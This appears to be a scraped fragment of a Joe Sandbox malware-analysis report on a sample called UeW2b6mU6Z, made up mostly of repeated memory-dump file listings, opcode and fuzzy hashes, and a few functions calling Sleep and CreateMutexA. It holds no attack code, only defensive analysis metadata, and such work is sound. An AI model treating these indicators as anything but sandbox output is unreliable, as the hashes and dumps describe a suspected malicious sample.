Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: @2
API String ID: 1279760036-3701443097
Opcode ID: cd74b716b02db54328bd307820d8527b5141be57f9f7a341b129026e47ceea95
Instruction ID: 0d42658f92153fe19b899e23256ca8192e7b7349d8d9683287c40959ff69acb8
Opcode Fuzzy Hash: cd74b716b02db54328bd307820d8527b5141be57f9f7a341b129026e47ceea95
Instruction Fuzzy Hash: D0F0E233500624669B213A239C05B6B7F98EF8A360B18C8A1BC2CEB080CF30ED4186E1

Uniqueness

Uniqueness Score: -1.00%

Function 00C45D40 Relevance: 3.3, APIs: 2, Instructions: 311
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2228911e889f5c331d9cf7948a4e5573edff72fac909668bb775a0989940fba6
Instruction ID: 933a400ee077df2d9f58192b310252d2f9a9254f73b7f87f94dbfafa2c7bf111
Opcode Fuzzy Hash: 2228911e889f5c331d9cf7948a4e5573edff72fac909668bb775a0989940fba6
Instruction Fuzzy Hash: 03B1E4B190020CABEB24DF54CC84BEEBBB9FB45304F504569F919A7281D7749B88CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C49675 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 03eed951ba890c3a269e16ad29592b935512f267c51aeffccfba17c33df6964d
Instruction ID: d1c110ffe5d30687133a8a03b5069f1a3a7be12c84741fb01965bf0e597ccecf
Opcode Fuzzy Hash: 03eed951ba890c3a269e16ad29592b935512f267c51aeffccfba17c33df6964d
Instruction Fuzzy Hash: 873147717502009BEF08DF78CC897AEBB76FB86321F208218E4289B3D2D7759A818751

Uniqueness

Uniqueness Score: -1.00%

Function 00C49547 Relevance: 3.1, APIs: 2, Instructions: 129
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9f76b8e106d3c4550a35a0aa274efbd67e5df308d6c16b13c3b284994a7faa20
Instruction ID: 1f6952b2d779f7f3cc28a0ba240d27e3360dc7c23ab4c7b3d3a3d140fff7cf76
Opcode Fuzzy Hash: 9f76b8e106d3c4550a35a0aa274efbd67e5df308d6c16b13c3b284994a7faa20
Instruction Fuzzy Hash: 313134717041049BEB18DF68CD897AEBB72FB86325F308318E4289B2D6D775DA818751

Uniqueness

Uniqueness Score: -1.00%

Function 00C49A14 Relevance: 3.1, APIs: 2, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6f28f828568ec35d0ba3ae951d67e5d4976203e7f0573d20fde2cb6485f82771
Instruction ID: e5290fc99f78d7e1f5888629c3e7de243a4a0fb44cbb8da6c0866e3043a43694
Opcode Fuzzy Hash: 6f28f828568ec35d0ba3ae951d67e5d4976203e7f0573d20fde2cb6485f82771
Instruction Fuzzy Hash: 393136717541009BEF08DF68CC887AEBB72FB86314F208658E8249B3D5D7759AC19751

Uniqueness

Uniqueness Score: -1.00%

Function 00C49B49 Relevance: 3.1, APIs: 2, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
